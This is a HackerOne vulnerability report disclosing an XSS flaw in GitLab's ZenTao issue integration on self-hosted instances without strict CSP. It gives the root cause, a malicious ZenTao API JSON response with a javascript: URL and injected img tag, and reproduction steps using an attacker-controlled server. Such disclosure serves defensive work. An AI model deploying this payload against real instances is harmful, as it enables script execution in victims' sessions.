XSS in ZenTao integration affecting self hosted instances without strict CSP
HackerOne report #1542510 by joaxcar
on 2022-04-16, assigned to @ngeorge1:
Report | Attachments | How To Reproduce
Report
Summary
The ZenTao issue integration (premium feature) is susceptible to an XSS attack by delivering modified API responses to GitLab.
This is related and similar to my report https://hackerone.com/reports/1533976 but this time affecting the ZenTao integration.
A user can create a project and configure ZenTao to be used as an external issue tracker. ducumentation. If this is done on a premium
instance the integration will add an issue list
to the project displaying ZenTao issues, and clicking one of these issues will display issue details for a single ZenTao issue. The URL for a single issue looks like
https://gitlab.example.com/GROUP/PROJECT/-/integrations/zentao/issues/story-1
Visiting this page will trigger the GitLab backend to make an API request to the configured ZenTao instance like this
https://zentao.example.net/api.php/v1/issues/story-1
and the response from such a request looks like
{
"issue": {
"id": "story-1",
"title": "story",
"labels": [ ],
"pri": 3,
"openedDate": "2021-08-10T08:25:18Z",
"openedBy": {
"id": 1,
"account": "admin",
"realname": "admin",
"avatar": "https://www.gravatar.com/avatar/21232f297a57a5a743894a0e4a801fc3?d=identicon&s=80",
"url": "https://jihudemo.zentao.net/index.php?m=user&f=profile&userID=1"
},
"lastEditedDate": "2021-08-10T08:25:18Z",
"lastEditedBy": "admin",
"status": "opened",
"url": "https://jihudemo.zentao.net/index.php?m=story&f=view&storyID=32",
"desc": "",
"assignedTo": [],
"comments": [ ]
}
}
This response is serialized by ee/app/serializers/integrations/zentao_serializers/issue_entity.rb
The interesting part of this file is
expose :web_url do |item|
item['url']
end
and also
expose :id do |item|
sanitize(item['id'])
end
The :web_url
does not check for correctness of the URL and can thus be given a JavaScript URL such as javascript:alert(document.domain)
. The :id
is sanitized by ruby sanitizer, but is not HTML encoded. This will open up a "safe" HTML injection, which we can use to make the attack easier to pull of.
When viewing a ZenTao issue details page the :web_url
and :id
is used to create the last part of the breadcrumb links. By adding this to our API response
{
"id": "<img src=# height=10000 width=10000>",
"url": "javascript:alert(document.domain)"
}
The details page will now display a giant image that on click will trigger the XSS.
Here I use an image tag just to prove that the injection. The :id
HTML injection can be customized to have the victim more prone to clicking the link.
Steps to reproduce
Using my hosted server (see example further down for self hosting the attack):
- Log in with a user on a self hosted GitLab instance with premium subscription (call the user
user1
) - Create a new project, call it
project1
- Go to https://gitlab.example.com/user1/project1/-/integrations/zentao/edit
- Fill in the form. Put
https://joaxcar.com
in the server field. Leave the API field empty, add anything in the username and password. - Go to
https://gitlab.example.com/user1/project1/-/integrations/zentao/issues/story-1 - Click the big white square
- XSS triggered
To self host the API make sure to host a server that will deliver this payload with a application/json
response to calls to /api.php/v1/issues/story-1
payload
{
"issue": {
"id": "<img src=# height=10000 width=10000>",
"title": "Attack",
"labels": [],
"pri": 3,
"openedDate": "2021-08-10T08:25:18Z",
"openedBy": {
"id": 1,
"account": "asd",
"realname": "admin",
"avatar": "https://www.gravatar.com/avatar/21232f297a57a5a743894a0e4a801fc3?d=identicon&s=80",
"url": "https://example.com"
},
"lastEditedDate": "2021-08-10T08:25:18Z",
"lastEditedBy": "asd",
"status": "asd",
"url": "javascript:alert(document.domain)",
"desc": "description",
"assignedTo": [],
"comments": []
}
}
Impact
Full XSS on self hosted GitLab instances. A victim needs to visit the infected page and made to click a special link (can be made easy to click)
What is the current bug behavior?
ZenTao issue URLs are not sanitized
What is the expected correct behavior?
Javasript URLs should be filtered
CSP
This attack does not work on GitLab.com as the CSP rules block any JavaScript URL. I don't know of any bypass to this. But it does affect self-hosted instances that have not configured CSP. I calculated my CVSS score as per attacking a self-hosted instance. GitLab team can modify this according to your current treatment of these issues!
Ruby sanitation
The ZenTao issues uses a lot of ruby sanatize
sanitization. This is strict enough to prevent any serious code injection but still allows for some HTML tags to be included where they are supposed not to be. Like in ID in this issue.
Best regards
Johan
Impact
Full XSS on self hosted GitLab instances. A victim needs to visit the infected page and made to click a special link (can be made easy to click)
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section: